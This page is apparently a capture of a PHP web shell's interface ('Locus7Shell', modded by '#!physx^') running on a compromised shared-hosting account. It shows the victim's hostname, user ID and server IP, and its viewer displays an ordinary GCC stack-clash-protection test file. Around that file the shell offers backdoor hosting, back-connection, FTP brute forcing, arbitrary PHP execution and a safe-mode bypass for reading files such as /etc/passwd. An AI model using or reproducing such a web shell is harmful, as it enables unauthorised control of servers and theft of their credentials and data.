Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     stack-check-3.c (2.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* The goal here is to ensure that dynamic allocations via vlas or
   alloca calls receive probing.

   Scanning the RTL or assembly code seems like insanity here as does
   checking for particular allocation sizes and probe offsets.  For
   now we just verify that there's an allocation + probe loop and
   residual allocation + probe for f?.  */

/* { dg-do compile } */
/* { dg-options "-O2 -fstack-clash-protection -fdump-rtl-expand -fno-optimize-sibling-calls --param stack-clash-protection-probe-interval=12 --param stack-clash-protection-guard-size=12" } */
/* { dg-require-effective-target supports_stack_clash_protection } */

__attribute__((noinline, noclone)) void
foo (char *p)
{
  asm volatile ("" : : "r" (p) : "memory");
}

/* Simple VLA, no other locals. */
__attribute__((noinline, noclone)) void
f0 (int x)
{
  char vla[x];
  foo (vla);
}

/* Simple VLA, small local frame.  */
__attribute__((noinline, noclone)) void
f1 (int x)
{
  char locals[128];
  char vla[x];
  foo (vla);
}

/* Small constant alloca, no other locals. */
__attribute__((noinline, noclone)) void
f2 (int x)
{
  char *vla = __builtin_alloca (128);
  foo (vla);
}

/* Big constant alloca, small local frame.  */
__attribute__((noinline, noclone)) void
f3 (int x)
{
  char locals[128];
  char *vla = __builtin_alloca (16384);
  foo (vla);
}

/* Big constant alloca, small local frame.  */
__attribute__((noinline, noclone)) void
f3a (int x)
{
  char locals[128];
  char *vla = __builtin_alloca (32768);
  foo (vla);
}

/* Nonconstant alloca, no other locals. */
__attribute__((noinline, noclone)) void
f4 (int x)
{
  char *vla = __builtin_alloca (x);
  foo (vla);
}

/* Nonconstant alloca, small local frame.  */
__attribute__((noinline, noclone)) void
f5 (int x)
{
  char locals[128];
  char *vla = __builtin_alloca (x);
  foo (vla);
}

/* { dg-final { scan-rtl-dump-times "allocation and probing residuals" 7 "expand" } } */


/* { dg-final { scan-rtl-dump-times "allocation and probing in loop" 7 "expand" { target callee_realigns_stack } } } */
/* { dg-final { scan-rtl-dump-times "allocation and probing in loop" 4 "expand" { target { ! callee_realigns_stack } } } } */
/* { dg-final { scan-rtl-dump-times "allocation and probing in rotated loop" 1 "expand" { target { ! callee_realigns_stack } } } } */
/* { dg-final { scan-rtl-dump-times "allocation and probing inline" 1 "expand" { target { ! callee_realigns_stack } } } } */
/* { dg-final { scan-rtl-dump-times "skipped dynamic allocation and probing loop" 1 "expand" { target { ! callee_realigns_stack } } } } */

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0058 ]--